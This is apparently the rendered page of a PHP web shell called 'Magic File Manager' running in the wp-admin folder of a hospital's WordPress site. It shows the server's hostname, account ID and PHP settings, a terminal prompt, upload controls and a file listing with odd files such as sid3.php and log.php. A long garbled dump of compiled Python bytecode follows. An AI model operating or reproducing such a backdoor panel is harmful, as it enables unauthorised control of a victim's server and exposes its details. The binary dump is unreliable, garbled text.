✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 \2kã@sØdZddlmZddlmZmZddl m Z m Z mZmZmZddl mZmZmZmZddlmZddlm Z!m"Z#ddl$m%Z&dd l'Z(dd l)Z*d d d d ddddddddddddddddddd d!gZ+d"e d2ƒed$ƒZ,d$eZ-e d%ƒZ.d&e d'ƒZ/d(Z0d)e0 Z1dd l2Z2Gd*d „d e2j3ƒZ3Gd+d!„d!e3ƒZ4d,d-„Z5d3d/d0„Z6e3ƒZ7e7j8Z8e7j9Z9e7j:Z:e7j;Z;e7jZ>e7j?Z?e7j@Z@e7jAZAe7jBZBe7jCZCe7jDZDe7jEZEe7jFZFe7jGZGe7jHZHe7jIZIe7jJZJe7jKZKe7jLZLe7jMZMeNd1k�rÔe6ƒd S)4a°Random variable generators. integers -------- uniform within range sequences --------- pick random element pick random sample pick weighted random sample generate random permutation distributions on the real line: ------------------------------ uniform triangular normal (Gaussian) lognormal negative exponential gamma beta pareto Weibull distributions on the circle (angles 0 to 2pi) --------------------------------------------- circular uniform von Mises General notes on the underlying Mersenne Twister core generator: * The period is 2**19937-1. * It is one of the most extensively tested generators in existence. * The random() method is implemented in C, executes in a single Python step, and is, therefore, threadsafe. é)Úwarn)Ú MethodTypeÚBuiltinMethodType)ÚlogÚexpÚpiÚeÚceil)ÚsqrtÚacosÚcosÚsin)Úurandom)ÚSetÚSequence)Úsha512NÚRandomÚseedÚrandomÚuniformÚrandintÚchoiceÚsampleÚ randrangeÚshuffleÚ normalvariateÚlognormvariateÚ expovariateÚvonmisesvariateÚ gammavariateÚ triangularÚgaussÚ betavariateÚ paretovariateÚweibullvariateÚgetstateÚsetstateÚ getrandbitsÚchoicesÚ SystemRandomégà?g@g@gð?g@é5écseZdZdZdZd;dd„Zd<‡fdd„ Z‡fd d „Z‡fd d „Zd d„Z dd„Z dd„Z dde fdd„Z dd„Ze de>eeefdd„Zdd„Zd=dd„Zdd„Zd>ddd œd!d"„Zd#d$„Zd?d'd(„Zd)d*„Zd+d,„Zd-d.„Zd/d0„Zd1d2„Zd3d4„Zd5d6„Z d7d8„Z!d9d:„Z"‡Z#S)@raãRandom number generator base class used by bound module functions. Used to instantiate instances of Random to get generators that don't share state. Class Random can also be subclassed if you want to use a different basic generator of your own devising: in that case, override the following methods: random(), seed(), getstate(), and setstate(). Optionally, implement a getrandbits() method so that randrange() can cover arbitrarily large ranges. éNcCs|j|ƒd|_dS)zeInitialize an instance. Optional argument x controls seeding, as for Random.seed(). N)rÚ gauss_next)ÚselfÚx©r1ú/usr/lib64/python3.6/random.pyÚ__init__Ws zRandom.__init__r,csâ|dkr†t|ttfƒr†t|tƒr*|jdƒn|}|rBt|dƒd>nd}x"tt|ƒD]}d||Ad@}qRW|t|ƒN}|d kr‚d n|}|dkrÌt|tttfƒrÌt|tƒr°|jƒ}|t |ƒj ƒ7}t j |dƒ}t ƒj|ƒd |_d S) aInitialize internal state from hashable object. None or no argument seeds from current time or from an operating system specific randomness source if available. If *a* is an int, all bits are used. For version 2 (the default), all of the bits are used if *a* is a str, bytes, or bytearray. For version 1 (provided for reproducing random sequences from older versions of Python), the algorithm for str and bytes generates a narrower range of seeds. ézlatin-1réiCBlÿÿÿÿr,ÚbigNéÿÿÿÿéþÿÿÿ)Ú isinstanceÚstrÚbytesÚdecodeÚordÚmapÚlenÚ bytearrayÚencodeÚ_sha512ZdigestÚintÚ from_bytesÚsuperrr.)r/ÚaÚversionr0Úc)Ú __class__r1r2r`s    z Random.seedcs|jtƒjƒ|jfS)z9Return internal state; can be passed to setstate() later.)ÚVERSIONrEr%r.)r/)rIr1r2r%€szRandom.getstatecs¢|d}|dkr*|\}}|_tƒj|ƒnt|dkrŒ|\}}|_ytdd„|Dƒƒ}Wn(tk r|}z t|‚WYdd}~XnXtƒj|ƒntd||jfƒ‚dS)z:Restore internal state from object returned by getstate().rr-r,css|]}|dVqdS)r,é Nlr1)Ú.0r0r1r1r2ú ‘sz"Random.setstate..Nz?state with version %s passed to Random.setstate() of version %s)r.rEr&ÚtupleÚ ValueErrorÚ TypeErrorrJ)r/ÚstaterGZ internalstater)rIr1r2r&„s  zRandom.setstatecCs|jƒS)N)r%)r/r1r1r2Ú __getstate__¢szRandom.__getstate__cCs|j|ƒdS)N)r&)r/rQr1r1r2Ú __setstate__¥szRandom.__setstate__cCs|jf|jƒfS)N)rIr%)r/r1r1r2Ú __reduce__¨szRandom.__reduce__r4c Cs||ƒ}||krtdƒ‚|dkr:|dkr2|j|ƒStdƒ‚||ƒ}||krRtdƒ‚||}|dkrx|dkrx||j|ƒS|dkr’td|||fƒ‚||ƒ}||krªtdƒ‚|dkrÄ||d|} n"|dkrÞ||d|} ntd ƒ‚| dkrötdƒ‚|||j| ƒS) zÀChoose a random item from range(start, stop[, step]). This fixes the problem with randint() which includes the endpoint; in Python this is usually not what you want. z!non-integer arg 1 for randrange()Nrzempty range for randrange()z non-integer stop for randrange()r4z'empty range for randrange() (%d,%d, %d)z non-integer step for randrange()zzero step for randrange())rOÚ _randbelow) r/ÚstartÚstopÚstepÚ_intZistartZistopÚwidthZistepÚnr1r1r2r­s4  zRandom.randrangecCs|j||dƒS)zJReturn random integer in range [a, b], including both end points. r4)r)r/rFÚbr1r1r2rÙszRandom.randintc Csº|j}|j}||ƒ|ks$||ƒ|krN|jƒ} || ƒ} x| |krH|| ƒ} q6W| S||krltdƒ||ƒ|ƒS|dkr|tdƒ‚||} || |} |ƒ} x| | kr¨|ƒ} q˜W|| |ƒ|S)zCReturn a random int in the range [0,n). Raises ValueError if n==0.z¤Underlying random() generator does not supply enough bits to choose from a population range this large. To remove the range limitation, add a getrandbits() method.rzBoundary cannot be zero)rr'Ú bit_lengthÚ_warnrO) r/r[rCÚmaxsizeÚtypeZMethodZ BuiltinMethodrr'ÚkÚrZremÚlimitr1r1r2rUßs&     zRandom._randbelowc Cs:y|jt|ƒƒ}Wntk r0tdƒd‚YnX||S)z2Choose a random element from a non-empty sequence.z$Cannot choose from an empty sequenceN)rUr?rOÚ IndexError)r/ÚseqÚir1r1r2rÿs z Random.choicecCs¢|dkrR|j}xŽttdt|ƒƒƒD]*}||dƒ}||||||<||<q"WnLt}xFttdt|ƒƒƒD]0}||ƒ|dƒ}||||||<||<qjWdS)zêShuffle list x in place, and return None. Optional argument random is a 0-argument function returning a random float in [0.0, 1.0); if it is the default None, the standard random.random will be used. Nr4)rUÚreversedÚranger?rC)r/r0rÚ randbelowrfÚjrYr1r1r2rs   zRandom.shufflec Cs(t|tƒrt|ƒ}t|tƒs$tdƒ‚|j}t|ƒ}d|koD|knsRtdƒ‚dg|}d}|dkr‚|dtt |ddƒƒ7}||krÒt |ƒ}x�t |ƒD]0}|||ƒ} || ||<|||d || <qœWnRt ƒ} | j } xDt |ƒD]8}||ƒ} x| | k�r ||ƒ} qöW| | ƒ|| ||<qèW|S) a=Chooses k unique random elements from a population sequence or set. Returns a new list containing elements from the population while leaving the original population unchanged. The resulting list is in selection order so that all sub-slices will also be valid random samples. This allows raffle winners (the sample) to be partitioned into grand prize and second place winners (the subslices). Members of the population need not be hashable or unique. If the population contains repeats, then each occurrence is a possible selection in the sample. To choose a sample in a range of integers, use range as an argument. This is especially fast and space efficient for sampling from a large population: sample(range(10000000), 60) z>Population must be a sequence or set. For dicts, use list(d).rz,Sample larger than population or is negativeNéér*r-r4)r9Ú_SetrNÚ _SequencerPrUr?rOÚ_ceilÚ_logÚlistrhÚsetÚadd) r/Ú populationrarir[ÚresultZsetsizeZpoolrfrjZselectedZ selected_addr1r1r2rs6       z Random.sample)Ú cum_weightsracs°|j‰ˆdkrN|dkr>t‰tˆƒ‰‡‡‡‡fdd„t|ƒDƒSttj|ƒƒ‰n|dk r^tdƒ‚tˆƒtˆƒkrvtdƒ‚t j ‰ˆd‰tˆƒd‰‡‡‡‡‡‡fdd„t|ƒDƒS) zÑReturn a k sized list of population elements chosen with replacement. If the relative weights or cumulative weights are not specified, the selections are made with equal probability. Ncsg|]}ˆˆˆƒˆƒ‘qSr1r1)rLrf)rYrtrÚtotalr1r2ú csz"Random.choices..z2Cannot specify both weights and cumulative weightsz3The number of weights does not match the populationr4cs$g|]}ˆˆˆˆƒˆdˆƒ‘qS)rr1)rLrf)ÚbisectrvÚhirtrrwr1r2rxlsr7) rrCr?rhrqÚ _itertoolsÚ accumulaterPrOÚ_bisectry)r/rtZweightsrvrar1)rYryrvrzrtrrwr2r(Ws  zRandom.choicescCs||||jƒS)zHGet a random number in the range [a, b) or [a, b] depending on rounding.)r)r/rFr\r1r1r2rsszRandom.uniformççð?c Csx|jƒ}y |dkrdn||||}Wntk r<|SX||kr`d|}d|}||}}|||||dS)zÜTriangular distribution. Continuous distribution bounded by given lower and upper limits, and having a given mode value in-between. http://en.wikipedia.org/wiki/Triangular_distribution Ngà?gð?)rÚZeroDivisionError)r/ZlowZhighÚmodeÚurHr1r1r2r ys   zRandom.triangularcCsT|j}x@|ƒ}d|ƒ}t|d|}||d}|t|ƒ krPqW|||S)z\Normal distribution. mu is the mean, and sigma is the standard deviation. gð?gà?g@)rÚ NV_MAGICCONSTrp)r/ÚmuÚsigmarÚu1Úu2ÚzZzzr1r1r2r�s   zRandom.normalvariatecCst|j||ƒƒS)zûLog normal distribution. If you take the natural logarithm of this distribution, you'll get a normal distribution with mean mu and standard deviation sigma. mu can have any value, and sigma must be greater than zero. )Ú_expr)r/r„r…r1r1r2r¨szRandom.lognormvariatecCstd|jƒƒ |S)a^Exponential distribution. lambd is 1.0 divided by the desired mean. It should be nonzero. (The parameter would be called "lambda", but that is a reserved word in Python.) Returned values range from 0 to positive infinity if lambd is positive, and from negative infinity to 0 if lambd is negative. gð?)rpr)r/Zlambdr1r1r2r´szRandom.expovariatecCsÔ|j}|dkrt|ƒSd|}|td||ƒ}xN|ƒ}tt|ƒ}|||}|ƒ} | d||ks~| d|t|ƒkr6Pq6Wd|} | |d| |} |ƒ} | dkrÀ|t| ƒt} n|t| ƒt} | S)aFCircular data distribution. mu is the mean angle, expressed in radians between 0 and 2*pi, and kappa is the concentration parameter, which must be greater than or equal to zero. If kappa is equal to zero, this distribution reduces to a uniform random angle over the range 0 to 2*pi. g�íµ ÷ư>gà?gð?)rÚTWOPIÚ_sqrtÚ_cosÚ_pir‰Ú_acos)r/r„ZkapparÚsrbr†rˆÚdr‡ÚqÚfZu3Zthetar1r1r2rÇs&   $zRandom.vonmisesvariatecCs |dks|dkrtdƒ‚|j}|dkrÜtd|dƒ}|t}||}x’|ƒ}d|ko`dknshqHd|ƒ}t|d|ƒ|} |t| ƒ} |||} ||| | } | td| dksÎ| t| ƒkrH| |SqHWnÀ|dk�r|ƒ} x| dk�r|ƒ} qîWt| ƒ |Sx‚|ƒ} t|t}|| }|dk�rD|d|} nt|||ƒ } |ƒ}|dk�r||| |dk�rŽPn|t| ƒk�rP�qW| |SdS) aZGamma distribution. Not the gamma function! Conditions on the parameters are alpha > 0 and beta > 0. The probability distribution function is: x ** (alpha - 1) * math.exp(-x / beta) pdf(x) = -------------------------------------- math.gamma(alpha) * beta ** alpha gz*gammavariate: alpha and beta must be > 0.0gð?g@gH¯¼šò×z>gËPÊÿÿï?g@N)rOrr‹ÚLOG4rpr‰Ú SG_MAGICCONSTÚ_e)r/ÚalphaÚbetarZainvZbbbZcccr†r‡Úvr0rˆrbr‚r\Úpr1r1r2r÷sJ          zRandom.gammavariatecCs`|j}|j}d|_|dkrT|ƒt}tdtd|ƒƒƒ}t|ƒ|}t|ƒ||_|||S)zØGaussian distribution. mu is the mean, and sigma is the standard deviation. This is slightly faster than the normalvariate() function. Not thread-safe without a lock around calls. Ng@gð?gÀ)rr.rŠr‹rprŒÚ_sin)r/r„r…rrˆZx2piZg2radr1r1r2r!?s  z Random.gausscCs0|j|dƒ}|dkrdS|||j|dƒSdS)z�Beta distribution. Conditions on the parameters are alpha > 0 and beta > 0. Returned values range between 0 and 1. gð?rgN)r)r/r–r—Úyr1r1r2r"ts zRandom.betavariatecCsd|jƒ}d|d|S)z3Pareto distribution. alpha is the shape parameter.gð?)r)r/r–r‚r1r1r2r#†s zRandom.paretovariatecCs"d|jƒ}|t|ƒ d|S)zfWeibull distribution. alpha is the scale parameter and beta is the shape parameter. gð?)rrp)r/r–r—r‚r1r1r2r$�s zRandom.weibullvariate)N)Nr,)N)N)r~rN)$Ú__name__Ú __module__Ú __qualname__Ú__doc__rJr3rr%r&rRrSrTrCrrÚBPFr`Ú _MethodTypeÚ_BuiltinMethodTyperUrrrr(rr rrrrrr!r"r#r$Ú __classcell__r1r1)rIr2rGs8    ,  :  0H5 c@s8eZdZdZdd„Zdd„Zdd„Zdd „ZeZZ d S) r)zÝAlternate random number generator using sources provided by the operating system (such as /dev/urandom on Unix or CryptGenRandom on Windows). Not available on all systems (see os.urandom() for details). cCstjtdƒdƒd?tS)z3Get the next random number in the range [0.0, 1.0).r5r6r-)rCrDÚ_urandomÚ RECIP_BPF)r/r1r1r2r¤szSystemRandom.randomcCsP|dkrtdƒ‚|t|ƒkr$tdƒ‚|dd}tjt|ƒdƒ}||d|?S)z:getrandbits(k) -> x. Generates an int with k random bits.rz(number of bits must be greater than zeroz#number of bits should be an integerr5ér6)rOrCrPrDr¤)r/raZnumbytesr0r1r1r2r'¨s  zSystemRandom.getrandbitscOsdS)z&sn     Y!